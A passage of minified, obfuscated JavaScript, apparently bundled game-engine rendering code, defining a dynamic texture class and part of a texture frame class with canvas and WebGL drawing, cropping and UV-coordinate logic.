_0x340607(0x2848), _0xcb3d92 = _0x340607(0x94aa), _0x593edd = _0x340607(0x6d0f), _0xb40b85 = _0x340607(0x145db), _0x436ed9 = _0x340607(0x1f76), _0x1a1dc1 = _0x340607(0x10e7), _0x2263a0 = _0x340607(0x17534), _0x2af7e7 = _0x340607(0x8cdc), _0x23bf73 = _0x340607(0x7e2e), _0x4d0960 = _0x340607(0x13585), _0x23e2f4 = _0x340607(0x1139a), _0x425b65 = new _0xb40b85({ 'Extends': _0x4d0960, 'initialize': function (_0x5c67ff, _0x1eda9e, _0x42c699, _0x5aec0c) { void 0x0 === _0x42c699 && (_0x42c699 = 0x100), void 0x0 === _0x5aec0c && (_0x5aec0c = 0x100), this['type'] = 'DynamicTexture'; var _0x46bbdd = _0x5c67ff['game']['renderer'], _0x326ffe = _0x46bbdd && _0x46bbdd['type'] === _0x436ed9['CANVAS'], _0x3ef1f1 = _0x326ffe ? _0x593edd['create2D'](this, _0x42c699, _0x5aec0c) : [this]; _0x4d0960['call'](this, _0x5c67ff, _0x1eda9e, _0x3ef1f1, _0x42c699, _0x5aec0c), this['add']('__BASE', 0x0, 0x0, 0x0, _0x42c699, _0x5aec0c), this['renderer'] = _0x46bbdd, this['width'] = -0x1, this['height'] = -0x1, this['isDrawing'] = !0x1, this['canvas'] = _0x326ffe ? _0x3ef1f1 : null, this['context'] = _0x326ffe ? _0x3ef1f1['getContext']('2d', { 'willReadFrequently': !0x0 }) : null, this['dirty'] = !0x1, this['isSpriteTexture'] = !0x0, this['_eraseMode'] = !0x1, this['camera'] = new _0xcb3d92(0x0, 0x0, _0x42c699, _0x5aec0c)['setScene'](_0x5c67ff['game']['scene']['systemScene'], !0x1), this['renderTarget'] = _0x326ffe ? null : new _0x23bf73(_0x46bbdd, _0x42c699, _0x5aec0c, 0x1, 0x0, !0x1, !0x1, !0x0, !0x1), this['pipeline'] = _0x326ffe ? null : _0x46bbdd['pipelines']['get'](_0x2af7e7['SINGLE_PIPELINE']), this['setSize'](_0x42c699, _0x5aec0c); }, 'setSize': function (_0x27fccb, _0x21e6b8) { void 0x0 === _0x21e6b8 && (_0x21e6b8 = _0x27fccb); var _0x592209 = this['get'](), _0x292e85 = _0x592209['source']; if (_0x27fccb !== this['width'] || _0x21e6b8 !== this['height']) { this['canvas'] && (this['canvas']['width'] = _0x27fccb, this['canvas']['height'] = _0x21e6b8); var _0x10ddaf = this['renderTarget']; _0x10ddaf && (_0x10ddaf['willResize'](_0x27fccb, _0x21e6b8) && _0x10ddaf['resize'](_0x27fccb, _0x21e6b8), _0x10ddaf['texture'] !== _0x292e85['glTexture'] && this['renderer']['deleteTexture'](_0x292e85['glTexture']), this['setFromRenderTarget']()), this['camera']['setSize'](_0x27fccb, _0x21e6b8), _0x292e85['width'] = _0x27fccb, _0x292e85['height'] = _0x21e6b8, _0x592209['setSize'](_0x27fccb, _0x21e6b8), this['width'] = _0x27fccb, this['height'] = _0x21e6b8; } else { var _0x492df5 = this['getSourceImage'](); _0x592209['cutX'] + _0x27fccb > _0x492df5['width'] && (_0x27fccb = _0x492df5['width'] - _0x592209['cutX']), _0x592209['cutY'] + _0x21e6b8 > _0x492df5['height'] && (_0x21e6b8 = _0x492df5['height'] - _0x592209['cutY']), _0x592209['setSize'](_0x27fccb, _0x21e6b8, _0x592209['cutX'], _0x592209['cutY']); } return this; }, 'setFromRenderTarget': function () { var _0x4da6c0 = this['get']()['source'], _0x52fe5e = this['renderTarget']; return _0x4da6c0['isRenderTexture'] = !0x0, _0x4da6c0['isGLTexture'] = !0x0, _0x4da6c0['glTexture'] = _0x52fe5e['texture'], this; }, 'setIsSpriteTexture': function (_0x1e2378) { return this['isSpriteTexture'] = _0x1e2378, this; }, 'fill': function (_0x569069, _0x127f46, _0x58781e, _0x4d29bc, _0x472344, _0x59b0d0) { var _0x2a6bcd = this['camera'], _0x1379a5 = this['renderer']; void 0x0 === _0x127f46 && (_0x127f46 = 0x1), void 0x0 === _0x58781e && (_0x58781e = 0x0), void 0x0 === _0x4d29bc && (_0x4d29bc = 0x0), void 0x0 === _0x472344 && (_0x472344 = this['width']), void 0x0 === _0x59b0d0 && (_0x59b0d0 = this['height']); var _0x185704 = _0x569069 >> 0x10 & 0xff, _0x144af9 = _0x569069 >> 0x8 & 0xff, _0x5e59da = 0xff & _0x569069, _0x3220f8 = this['renderTarget']; if (_0x2a6bcd['preRender'](), _0x3220f8) { _0x3220f8['bind'](!0x0); var _0x5b9db1 = this['pipeline']['manager']['set'](this['pipeline']), _0x35152e = _0x1379a5['width'] / _0x3220f8['width'], _0x44f8d4 = _0x1379a5['height'] / _0x3220f8['height'], _0x41b8be = _0x3220f8['height'] - (_0x4d29bc + _0x59b0d0); _0x5b9db1['drawFillRect'](_0x58781e * _0x35152e, _0x41b8be * _0x44f8d4, _0x472344 * _0x35152e, _0x59b0d0 * _0x44f8d4, _0x23e2f4['getTintFromFloats'](_0x5e59da / 0xff, _0x144af9 / 0xff, _0x185704 / 0xff, 0x1), _0x127f46), _0x3220f8['unbind'](!0x0); } else { var _0x34d771 = this['context']; _0x1379a5['setContext'](_0x34d771), _0x34d771['globalCompositeOperation'] = 'source-over', _0x34d771['fillStyle'] = 'rgba(' + _0x185704 + ',' + _0x144af9 + ',' + _0x5e59da + ',' + _0x127f46 + ')', _0x34d771['fillRect'](_0x58781e, _0x4d29bc, _0x472344, _0x59b0d0), _0x1379a5['setContext'](); } return this['dirty'] = !0x0, this; }, 'clear': function (_0x22a981, _0x390718, _0x286477, _0x33d256) { if (this['dirty']) { var _0x18fa8b = this['context'], _0x862507 = this['renderTarget']; _0x862507 ? _0x862507['clear'](_0x22a981, _0x390718, _0x286477, _0x33d256) : _0x18fa8b && (void 0x0 !== _0x22a981 && void 0x0 !== _0x390718 && void 0x0 !== _0x286477 && void 0x0 !== _0x33d256 ? _0x18fa8b['clearRect'](_0x22a981, _0x390718, _0x286477, _0x33d256) : (_0x18fa8b['save'](), _0x18fa8b['setTransform'](0x1, 0x0, 0x0, 0x1, 0x0, 0x0), _0x18fa8b['clearRect'](0x0, 0x0, this['width'], this['height']), _0x18fa8b['restore']())), this['dirty'] = !0x1; } return this; }, 'stamp': function (_0x3b072b, _0x677463, _0x3a5ae5, _0x1ce7dc, _0x58c18f) { void 0x0 === _0x3a5ae5 && (_0x3a5ae5 = 0x0), void 0x0 === _0x1ce7dc && (_0x1ce7dc = 0x0); var _0x27a78b = _0x2263a0(_0x58c18f, 'alpha', 0x1), _0x446d5e = _0x2263a0(_0x58c18f, 'tint', 0xffffff), _0x23e135 = _0x2263a0(_0x58c18f, 'angle', 0x0), _0x5c08ba = _0x2263a0(_0x58c18f, 'rotation', 0x0), _0x1d2277 = _0x2263a0(_0x58c18f, 'scale', 0x1), _0x4b19ed = _0x2263a0(_0x58c18f, 'scaleX', _0x1d2277), _0x586c5f = _0x2263a0(_0x58c18f, 'scaleY', _0x1d2277), _0x3a9bcc = _0x2263a0(_0x58c18f, 'originX', 0.5), _0x2c9387 = _0x2263a0(_0x58c18f, 'originY', 0.5), _0x11188e = _0x2263a0(_0x58c18f, 'blendMode', 0x0), _0x306cd7 = _0x2263a0(_0x58c18f, 'erase', !0x1), _0x336d56 = _0x2263a0(_0x58c18f, 'skipBatch', !0x1), _0x5c5755 = this['manager']['resetStamp'](_0x27a78b, _0x446d5e); return _0x5c5755['setAngle'](0x0), 0x0 !== _0x23e135 ? _0x5c5755['setAngle'](_0x23e135) : 0x0 !== _0x5c08ba && _0x5c5755['setRotation'](_0x5c08ba), _0x5c5755['setScale'](_0x4b19ed, _0x586c5f), _0x5c5755['setTexture'](_0x3b072b, _0x677463), _0x5c5755['setOrigin'](_0x3a9bcc, _0x2c9387), _0x5c5755['setBlendMode'](_0x11188e), _0x306cd7 && (this['_eraseMode'] = !0x0), _0x336d56 ? this['batchGameObject'](_0x5c5755, _0x3a5ae5, _0x1ce7dc) : this['draw'](_0x5c5755, _0x3a5ae5, _0x1ce7dc), _0x306cd7 && (this['_eraseMode'] = !0x1), this; }, 'erase': function (_0x5e3317, _0x5e7251, _0x57a5fc) { return this['_eraseMode'] = !0x0, this['draw'](_0x5e3317, _0x5e7251, _0x57a5fc), this['_eraseMode'] = !0x1, this; }, 'draw': function (_0x3b31d3, _0x2c23bc, _0xafe68e, _0x1c8b50, _0x38a40e) { return this['beginDraw'](), this['batchDraw'](_0x3b31d3, _0x2c23bc, _0xafe68e, _0x1c8b50, _0x38a40e), this['endDraw'](), this; }, 'drawFrame': function (_0x43f542, _0x3ca252, _0x8887f1, _0x16edb0, _0x2e0254, _0x23c9ab) { return this['beginDraw'](), this['batchDrawFrame'](_0x43f542, _0x3ca252, _0x8887f1, _0x16edb0, _0x2e0254, _0x23c9ab), this['endDraw'](), this; }, 'repeat': function (_0x25f804, _0x5c042a, _0x35f7f4, _0x4f215f, _0x2c198e, _0x42d78f, _0x2e6740, _0x6accdd, _0x249909) { if (void 0x0 === _0x35f7f4 && (_0x35f7f4 = 0x0), void 0x0 === _0x4f215f && (_0x4f215f = 0x0), void 0x0 === _0x2c198e && (_0x2c198e = this['width']), void 0x0 === _0x42d78f && (_0x42d78f = this['height']), void 0x0 === _0x2e6740 && (_0x2e6740 = 0x1), void 0x0 === _0x6accdd && (_0x6accdd = 0xffffff), void 0x0 === _0x249909 && (_0x249909 = !0x1), !(_0x5c042a = _0x25f804 instanceof _0x1a1dc1 ? _0x25f804 : this['manager']['getFrame'](_0x25f804, _0x5c042a))) return this; var _0x35128c = this['manager']['resetStamp'](_0x2e6740, _0x6accdd); _0x35128c['setFrame'](_0x5c042a), _0x35128c['setOrigin'](0x0); var _0x5e9b37 = _0x5c042a['width'], _0x1f9c20 = _0x5c042a['height']; _0x2c198e = Math['floor'](_0x2c198e), _0x42d78f = Math['floor'](_0x42d78f); var _0x358e32 = Math['ceil'](_0x2c198e / _0x5e9b37), _0xa5951d = Math['ceil'](_0x42d78f / _0x1f9c20), _0x5739d9 = _0x358e32 * _0x5e9b37 - _0x2c198e, _0x136994 = _0xa5951d * _0x1f9c20 - _0x42d78f; _0x5739d9 > 0x0 && (_0x5739d9 = _0x5e9b37 - _0x5739d9), _0x136994 > 0x0 && (_0x136994 = _0x1f9c20 - _0x136994), _0x35f7f4 < 0x0 && (_0x358e32 += Math['ceil'](Math['abs'](_0x35f7f4) / _0x5e9b37)), _0x4f215f < 0x0 && (_0xa5951d += Math['ceil'](Math['abs'](_0x4f215f) / _0x1f9c20)); var _0x30cae4 = _0x35f7f4, _0x17fd13 = _0x4f215f, _0x3201f2 = !0x1, _0x1c827c = this['manager']['stampCrop']['setTo'](0x0, 0x0, _0x5e9b37, _0x1f9c20); _0x249909 || this['beginDraw'](); for (var _0x1033c3 = 0x0; _0x1033c3 < _0xa5951d; _0x1033c3++)if (_0x17fd13 + _0x1f9c20 < 0x0) _0x17fd13 += _0x1f9c20; else { for (var _0xa1c73a = 0x0; _0xa1c73a < _0x358e32; _0xa1c73a++)_0x3201f2 = !0x1, _0x30cae4 + _0x5e9b37 < 0x0 || (_0x30cae4 < 0x0 && (_0x3201f2 = !0x0, _0x1c827c['width'] = _0x5e9b37 + _0x30cae4, _0x1c827c['x'] = _0x5e9b37 - _0x1c827c['width']), _0x17fd13 < 0x0 && (_0x3201f2 = !0x0, _0x1c827c['height'] = _0x1f9c20 + _0x17fd13, _0x1c827c['y'] = _0x1f9c20 - _0x1c827c['height']), _0x5739d9 > 0x0 && _0xa1c73a === _0x358e32 - 0x1 && (_0x3201f2 = !0x0, _0x1c827c['width'] = _0x5739d9), _0x136994 > 0x0 && _0x1033c3 === _0xa5951d - 0x1 && (_0x3201f2 = !0x0, _0x1c827c['height'] = _0x136994), _0x3201f2 && _0x35128c['setCrop'](_0x1c827c), this['batchGameObject'](_0x35128c, _0x30cae4, _0x17fd13), _0x35128c['isCropped'] = !0x1, _0x1c827c['setTo'](0x0, 0x0, _0x5e9b37, _0x1f9c20)), _0x30cae4 += _0x5e9b37; _0x30cae4 = _0x35f7f4, _0x17fd13 += _0x1f9c20; } return _0x249909 || this['endDraw'](), this; }, 'beginDraw': function () { if (!this['isDrawing']) { var _0x58370f = this['camera'], _0x2cbc7f = this['renderer'], _0x3b9589 = this['renderTarget']; _0x58370f['preRender'](), _0x3b9589 ? _0x2cbc7f['beginCapture'](_0x3b9589['width'], _0x3b9589['height']) : _0x2cbc7f['setContext'](this['context']), this['isDrawing'] = !0x0; } return this; }, 'batchDraw': function (_0x55c66f, _0x2ae8c6, _0x445b71, _0x267634, _0x1ee4bd) { return Array['isArray'](_0x55c66f) || (_0x55c66f = [_0x55c66f]), this['batchList'](_0x55c66f, _0x2ae8c6, _0x445b71, _0x267634, _0x1ee4bd), this; }, 'batchDrawFrame': function (_0x41465d, _0x13ef12, _0x439ec8, _0x36b268, _0x89d5ee, _0x29804a) { void 0x0 === _0x439ec8 && (_0x439ec8 = 0x0), void 0x0 === _0x36b268 && (_0x36b268 = 0x0), void 0x0 === _0x89d5ee && (_0x89d5ee = 0x1), void 0x0 === _0x29804a && (_0x29804a = 0xffffff); var _0x2ed730 = this['manager']['getFrame'](_0x41465d, _0x13ef12); return _0x2ed730 && (this['renderTarget'] ? this['pipeline']['batchTextureFrame'](_0x2ed730, _0x439ec8, _0x36b268, _0x29804a, _0x89d5ee, this['camera']['matrix'], null) : this['batchTextureFrame'](_0x2ed730, _0x439ec8, _0x36b268, _0x89d5ee, _0x29804a)), this; }, 'endDraw': function (_0x362ab8) { if (void 0x0 === _0x362ab8 && (_0x362ab8 = this['_eraseMode']), this['isDrawing']) { var _0x1bae89 = this['renderer'], _0x23b25b = this['renderTarget']; if (_0x23b25b) { var _0x47b203 = _0x1bae89['endCapture'](); _0x1bae89['pipelines']['setUtility']()['blitFrame'](_0x47b203, _0x23b25b, 0x1, !0x1, !0x1, _0x362ab8, this['isSpriteTexture']), _0x1bae89['resetScissor'](), _0x1bae89['resetViewport'](); } else _0x1bae89['setContext'](); this['dirty'] = !0x0, this['isDrawing'] = !0x1; } return this; }, 'batchList': function (_0x16ab3e, _0x37b504, _0x354207, _0x3b1dde, _0x6d99f9) { var _0x2c8006 = _0x16ab3e['length']; if (0x0 !== _0x2c8006) for (var _0x34effe = 0x0; _0x34effe < _0x2c8006; _0x34effe++) { var _0xae6515 = _0x16ab3e[_0x34effe]; _0xae6515 && _0xae6515 !== this && (_0xae6515['renderWebGL'] || _0xae6515['renderCanvas'] ? this['batchGameObject'](_0xae6515, _0x37b504, _0x354207) : _0xae6515['isParent'] || _0xae6515['list'] ? this['batchGroup'](_0xae6515['getChildren'](), _0x37b504, _0x354207) : 'string' == typeof _0xae6515 ? this['batchTextureFrameKey'](_0xae6515, null, _0x37b504, _0x354207, _0x3b1dde, _0x6d99f9) : _0xae6515 instanceof _0x1a1dc1 ? this['batchTextureFrame'](_0xae6515, _0x37b504, _0x354207, _0x3b1dde, _0x6d99f9) : Array['isArray'](_0xae6515) && this['batchList'](_0xae6515, _0x37b504, _0x354207, _0x3b1dde, _0x6d99f9)); } }, 'batchGroup': function (_0x31ed5a, _0x27354e, _0x23c930) { void 0x0 === _0x27354e && (_0x27354e = 0x0), void 0x0 === _0x23c930 && (_0x23c930 = 0x0); for (var _0x4e7ccc = 0x0; _0x4e7ccc < _0x31ed5a['length']; _0x4e7ccc++) { var _0x1d0544 = _0x31ed5a[_0x4e7ccc]; _0x1d0544['willRender'](this['camera']) && this['batchGameObject'](_0x1d0544, _0x1d0544['x'] + _0x27354e, _0x1d0544['y'] + _0x23c930); } }, 'batchGameObject': function (_0x4e9347, _0x10dce9, _0x36f81f) { void 0x0 === _0x10dce9 && (_0x10dce9 = _0x4e9347['x']), void 0x0 === _0x36f81f && (_0x36f81f = _0x4e9347['y']); var _0x33a4e5 = _0x4e9347['x'], _0x145882 = _0x4e9347['y'], _0x1aefd0 = this['camera'], _0x469db8 = this['renderer'], _0x4b97fe = this['_eraseMode'], _0x2589f5 = _0x4e9347['mask']; if (_0x4e9347['setPosition'](_0x10dce9, _0x36f81f), this['canvas']) { if (_0x4b97fe) { var _0x5aa614 = _0x4e9347['blendMode']; _0x4e9347['blendMode'] = _0x3fc0e9['ERASE']; } _0x2589f5 && _0x2589f5['preRenderCanvas'](_0x469db8, _0x4e9347, _0x1aefd0), _0x4e9347['renderCanvas'](_0x469db8, _0x4e9347, _0x1aefd0, null), _0x2589f5 && _0x2589f5['postRenderCanvas'](_0x469db8, _0x4e9347, _0x1aefd0), _0x4b97fe && (_0x4e9347['blendMode'] = _0x5aa614); } else _0x469db8 && (_0x2589f5 && _0x2589f5['preRenderWebGL'](_0x469db8, _0x4e9347, _0x1aefd0), _0x4b97fe || _0x469db8['setBlendMode'](_0x4e9347['blendMode']), _0x4e9347['renderWebGL'](_0x469db8, _0x4e9347, _0x1aefd0), _0x2589f5 && _0x2589f5['postRenderWebGL'](_0x469db8, _0x1aefd0, this['renderTarget'])); _0x4e9347['setPosition'](_0x33a4e5, _0x145882); }, 'batchTextureFrameKey': function (_0x51b94e, _0x5e5965, _0x1d7ef4, _0x295007, _0xb0ab42, _0x34ab37) { var _0x31b231 = this['manager']['getFrame'](_0x51b94e, _0x5e5965); _0x31b231 && this['batchTextureFrame'](_0x31b231, _0x1d7ef4, _0x295007, _0xb0ab42, _0x34ab37); }, 'batchTextureFrame': function (_0x28ee28, _0x289a73, _0x3eb60c, _0x4d78c6, _0x2fd5b9) { void 0x0 === _0x289a73 && (_0x289a73 = 0x0), void 0x0 === _0x3eb60c && (_0x3eb60c = 0x0), void 0x0 === _0x4d78c6 && (_0x4d78c6 = 0x1), void 0x0 === _0x2fd5b9 && (_0x2fd5b9 = 0xffffff); var _0x5a3ef2 = this['camera']['matrix']; if (this['renderTarget']) this['pipeline']['batchTextureFrame'](_0x28ee28, _0x289a73, _0x3eb60c, _0x2fd5b9, _0x4d78c6, _0x5a3ef2, null); else { var _0x4678ec = this['context'], _0xe0c7a7 = _0x28ee28['canvasData'], _0x3a5c52 = _0x28ee28['source']['image']; _0x4678ec['save'](), _0x4678ec['globalCompositeOperation'] = this['_eraseMode'] ? 'destination-out' : 'source-over', _0x4678ec['globalAlpha'] = _0x4d78c6, _0x5a3ef2['setToContext'](_0x4678ec), _0xe0c7a7['width'] > 0x0 && _0xe0c7a7['height'] > 0x0 && _0x4678ec['drawImage'](_0x3a5c52, _0xe0c7a7['x'], _0xe0c7a7['y'], _0xe0c7a7['width'], _0xe0c7a7['height'], _0x289a73, _0x3eb60c, _0xe0c7a7['width'], _0xe0c7a7['height']), _0x4678ec['restore'](); } }, 'snapshotArea': function (_0x434c5f, _0x29a9a0, _0x138503, _0x417433, _0x11fd37, _0x4389df, _0x32005d) { return this['renderTarget'] ? this['renderer']['snapshotFramebuffer'](this['renderTarget']['framebuffer'], this['width'], this['height'], _0x11fd37, !0x1, _0x434c5f, _0x29a9a0, _0x138503, _0x417433, _0x4389df, _0x32005d) : this['renderer']['snapshotCanvas'](this['canvas'], _0x11fd37, !0x1, _0x434c5f, _0x29a9a0, _0x138503, _0x417433, _0x4389df, _0x32005d), this; }, 'snapshot': function (_0xd9b62, _0xd2242e, _0xe4fcdd) { return this['snapshotArea'](0x0, 0x0, this['width'], this['height'], _0xd9b62, _0xd2242e, _0xe4fcdd); }, 'snapshotPixel': function (_0x2a1b7e, _0x1a48c9, _0x563f0f) { return this['snapshotArea'](_0x2a1b7e, _0x1a48c9, 0x1, 0x1, _0x563f0f, 'pixel'); }, 'getWebGLTexture': function () { if (this['renderTarget']) return this['renderTarget']['texture']; }, 'renderWebGL': function (_0x1943cd, _0x5b9b0b, _0x22300f, _0x4f9fcf) { var _0x19a99e = this['manager']['resetStamp'](); _0x19a99e['setTexture'](this), _0x19a99e['setOrigin'](0x0), _0x19a99e['renderWebGL'](_0x1943cd, _0x19a99e, _0x22300f, _0x4f9fcf); }, 'renderCanvas': function () { }, 'destroy': function () { var _0x499d56 = this['manager']['stamp']; _0x499d56 && _0x499d56['texture'] === this && this['manager']['resetStamp'](), _0x4d0960['prototype']['destroy']['call'](this), _0x593edd['remove'](this['canvas']), this['renderTarget'] && this['renderTarget']['destroy'](), this['camera']['destroy'](), this['canvas'] = null, this['context'] = null, this['renderer'] = null; } }); _0x359188['exports'] = _0x425b65; }, 0x10e7: (_0x5594f4, _0x5978d4, _0x3dd54d) => { var _0x408d66 = _0x3dd54d(0x145db), _0x298b20 = _0x3dd54d(0xb107), _0x44c9ab = _0x3dd54d(0x135bb), _0x16de1a = new _0x408d66({ 'initialize': function (_0x642463, _0xc74695, _0x31c8cc, _0x177736, _0x563646, _0xfaef24, _0xfb37f1) { this['texture'] = _0x642463, this['name'] = _0xc74695, this['source'] = _0x642463['source'][_0x31c8cc], this['sourceIndex'] = _0x31c8cc, this['cutX'], this['cutY'], this['cutWidth'], this['cutHeight'], this['x'] = 0x0, this['y'] = 0x0, this['width'], this['height'], this['halfWidth'], this['halfHeight'], this['centerX'], this['centerY'], this['pivotX'] = 0x0, this['pivotY'] = 0x0, this['customPivot'] = !0x1, this['rotated'] = !0x1, this['autoRound'] = -0x1, this['customData'] = {}, this['u0'] = 0x0, this['v0'] = 0x0, this['u1'] = 0x0, this['v1'] = 0x0, this['data'] = { 'cut': { 'x': 0x0, 'y': 0x0, 'w': 0x0, 'h': 0x0, 'r': 0x0, 'b': 0x0 }, 'trim': !0x1, 'sourceSize': { 'w': 0x0, 'h': 0x0 }, 'spriteSourceSize': { 'x': 0x0, 'y': 0x0, 'w': 0x0, 'h': 0x0, 'r': 0x0, 'b': 0x0 }, 'radius': 0x0, 'drawImage': { 'x': 0x0, 'y': 0x0, 'width': 0x0, 'height': 0x0 }, 'is3Slice': !0x1, 'scale9': !0x1, 'scale9Borders': { 'x': 0x0, 'y': 0x0, 'w': 0x0, 'h': 0x0 } }, this['setSize'](_0xfaef24, _0xfb37f1, _0x177736, _0x563646); }, 'setCutPosition': function (_0xcc8b85, _0x5aba97) { return void 0x0 === _0xcc8b85 && (_0xcc8b85 = 0x0), void 0x0 === _0x5aba97 && (_0x5aba97 = 0x0), this['cutX'] = _0xcc8b85, this['cutY'] = _0x5aba97, this['updateUVs'](); }, 'setCutSize': function (_0x2d73cb, _0x73ade7) { return this['cutWidth'] = _0x2d73cb, this['cutHeight'] = _0x73ade7, this['updateUVs'](); }, 'setSize': function (_0x478589, _0x4f6486, _0x6a3095, _0x4d90f1) { void 0x0 === _0x6a3095 && (_0x6a3095 = 0x0), void 0x0 === _0x4d90f1 && (_0x4d90f1 = 0x0), this['setCutPosition'](_0x6a3095, _0x4d90f1), this['setCutSize'](_0x478589, _0x4f6486), this['width'] = _0x478589, this['height'] = _0x4f6486, this['halfWidth'] = Math['floor'](0.5 * _0x478589), this['halfHeight'] = Math['floor'](0.5 * _0x4f6486), this['centerX'] = Math['floor'](_0x478589 / 0x2), this['centerY'] = Math['floor'](_0x4f6486 / 0x2); var _0x3e99b0 = this['data'], _0x2a9f91 = _0x3e99b0['cut']; _0x2a9f91['x'] = _0x6a3095, _0x2a9f91['y'] = _0x4d90f1, _0x2a9f91['w'] = _0x478589, _0x2a9f91['h'] = _0x4f6486, _0x2a9f91['r'] = _0x6a3095 + _0x478589, _0x2a9f91['b'] = _0x4d90f1 + _0x4f6486, _0x3e99b0['sourceSize']['w'] = _0x478589, _0x3e99b0['sourceSize']['h'] = _0x4f6486, _0x3e99b0['spriteSourceSize']['w'] = _0x478589, _0x3e99b0['spriteSourceSize']['h'] = _0x4f6486, _0x3e99b0['radius'] = 0.5 * Math['sqrt'](_0x478589 * _0x478589 + _0x4f6486 * _0x4f6486); var _0x417210 = _0x3e99b0['drawImage']; return _0x417210['x'] = _0x6a3095, _0x417210['y'] = _0x4d90f1, _0x417210['width'] = _0x478589, _0x417210['height'] = _0x4f6486, this['updateUVs'](); }, 'setTrim': function (_0xdf3a95, _0x1e9e8c, _0xc8abe0, _0x33603c, _0x52f559, _0x1e840f) { var _0x129e20 = this['data'], _0x9001bd = _0x129e20['spriteSourceSize']; return _0x129e20['trim'] = !0x0, _0x129e20['sourceSize']['w'] = _0xdf3a95, _0x129e20['sourceSize']['h'] = _0x1e9e8c, _0x9001bd['x'] = _0xc8abe0, _0x9001bd['y'] = _0x33603c, _0x9001bd['w'] = _0x52f559, _0x9001bd['h'] = _0x1e840f, _0x9001bd['r'] = _0xc8abe0 + _0x52f559, _0x9001bd['b'] = _0x33603c + _0x1e840f, this['x'] = _0xc8abe0, this['y'] = _0x33603c, this['width'] = _0x52f559, this['height'] = _0x1e840f, this['halfWidth'] = 0.5 * _0x52f559, this['halfHeight'] = 0.5 * _0x1e840f, this['centerX'] = Math['floor'](_0x52f559 / 0x2), this['centerY'] = Math['floor'](_0x1e840f / 0x2), this['updateUVs'](); }, 'setScale9': function (_0x4c624f, _0x11a2fb, _0x84ebc4, _0x2f449a) { var _0x5487e2 = this['data']; return _0x5487e2['scale9'] = !0x0, _0x5487e2['is3Slice'] = 0x0 === _0x11a2fb && _0x2f449a === this['height'], _0x5487e2['scale9Borders']['x'] = _0x4c624f, _0x5487e2['scale9Borders']['y'] = _0x11a2fb, _0x5487e2['scale9Borders']['w'] = _0x84ebc4, _0x5487e2['scale9Borders']['h'] = _0x2f449a, this; }, 'setCropUVs': function (_0x554d5d, _0xba346b, _0x179de5, _0x5e5c3f, _0x51cf49, _0xaf1a80, _0x2438d2) { var _0x2c4f46 = this['cutX'], _0x18c464 = this['cutY'], _0x49078d = this['cutWidth'], _0x13725a = this['cutHeight'], _0x1d8928 = this['realWidth'], _0x55138a = this['realHeight'], _0x3c4a01 = _0x2c4f46 + (_0xba346b = _0x298b20(_0xba346b, 0x0, _0x1d8928)), _0x4c4db9 = _0x18c464 + (_0x179de5 = _0x298b20(_0x179de5, 0x0, _0x55138a)), _0x64e8da = _0x5e5c3f = _0x298b20(_0x5e5c3f, 0x0, _0x1d8928 - _0xba346b), _0xd03525 = _0x51cf49 = _0x298b20(_0x51cf49, 0x0, _0x55138a - _0x179de5), _0x248065 = this['data']; if (_0x248065['trim']) { var _0x557b02 = _0x248065['spriteSourceSize'], _0xbd9275 = _0xba346b + (_0x5e5c3f = _0x298b20(_0x5e5c3f, 0x0, _0x49078d - _0xba346b)), _0x576b35 = _0x179de5 + (_0x51cf49 = _0x298b20(_0x51cf49, 0x0, _0x13725a - _0x179de5)); if (_0x557b02['r'] < _0xba346b || _0x557b02['b'] < _0x179de5 || _0x557b02['x'] > _0xbd9275 || _0x557b02['y'] > _0x576b35) _0x3c4a01 = 0x0, _0x4c4db9 = 0x0, _0x64e8da = 0x0, _0xd03525 = 0x0; else { var _0x135164 = Math['max'](_0x557b02['x'], _0xba346b), _0x5cb30e = Math['max'](_0x557b02['y'], _0x179de5), _0x54d4da = Math['min'](_0x557b02['r'], _0xbd9275) - _0x135164, _0x4b4eb5 = Math['min'](_0x557b02['b'], _0x576b35) - _0x5cb30e; _0x64e8da = _0x54d4da, _0xd03525 = _0x4b4eb5, _0x3c4a01 = _0xaf1a80 ? _0x2c4f46 + (_0x49078d - (_0x135164 - _0x557b02['x']) - _0x54d4da) : _0x2c4f46 + (_0x135164 - _0x557b02['x']), _0x4c4db9 = _0x2438d2 ? _0x18c464 + (_0x13725a - (_0x5cb30e - _0x557b02['y']) - _0x4b4eb5) : _0x18c464 + (_0x5cb30e - _0x557b02['y']), _0xba346b = _0x135164, _0x179de5 = _0x5cb30e, _0x5e5c3f = _0x54d4da, _0x51cf49 = _0x4b4eb5; } } else _0xaf1a80 && (_0x3c4a01 = _0x2c4f46 + (_0x49078d - _0xba346b - _0x5e5c3f)), _0x2438d2 && (_0x4c4db9 = _0x18c464 + (_0x13725a - _0x179de5 - _0x51cf49)); var _0x3048e2 = this['source']['width'], _0x4cad74 = this['source']['height']; return _0x554d5d['u0'] = Math['max'](0x0, _0x3c4a01 / _0x3048e2), _0x554d5d['v0'] = Math['max'](0x0, _0x4c4db9 / _0x4cad74), _0x554d5d['u1'] = Math['min'](0x1, (_0x3c4a01 + _0x64e8da) / _0x3048e2), _0x554d5d['v1'] = Math['min'](0x1, (_0x4c4db9 + _0xd03525) / _0x4cad74), _0x554d5d['x'] = _0xba346b, _0x554d5d['y'] = _0x179de5, _0x554d5d['cx'] = _0x3c4a01, _0x554d5d['cy'] = _0x4c4db9, _0x554d5d['cw'] = _0x64e8da, _0x554d5d['ch'] = _0xd03525, _0x554d5d['width'] = _0x5e5c3f, _0x554d5d['height'] = _0x51cf49, _0x554d5d['flipX'] = _0xaf1a80, _0x554d5d['flipY'] = _0x2438d2, _0x554d5d; }, 'updateCropUVs': function (_0x58d263, _0x4ef043, _0x4a1e9e) { return this['setCropUVs'](_0x58d263, _0x58d263['x'], _0x58d263['y'], _0x58d263['width'], _0x58d263['height'], _0x4ef043, _0x4a1e9e); }, 'setUVs': function (_0x1c5b9a, _0xabf935, _0x1fc950, _0x5366c5, _0x16490b, _0xc8b5e6) { var _0x2b31e4 = this['data']['drawImage']; return _0x2b31e4['width'] = _0x1c5b9a, _0x2b31e4['height'] = _0xabf935, this['u0'] = _0x1fc950, this['v0'] = _0x5366c5, this['u1'] = _0x16490b, this['v1'] = _0xc8b5e6, this; }, 'updateUVs': function () { var _0x2d184c = this['cutX'], _0x145225 = this['cutY'], _0xd0f9d2 = this['cutWidth'], _0x410211 = this['cutHeight'], _0xb22906 = this['data']['drawImage']; _0xb22906['width'] = _0xd0f9d2, _0xb22906['height'] = _0x410211; var _0x531f83 = this['source']['width'], _0x56e1e9 = this['source']['height']; return this['u0'] = _0x2d184c / _0x531f83, this['v0'] = _0x145225 / _0x56e1e9, this['u1'] = (_0x2d184c + _0xd0f9d2) / _0x531f83, this['v1'] = (_0x145225 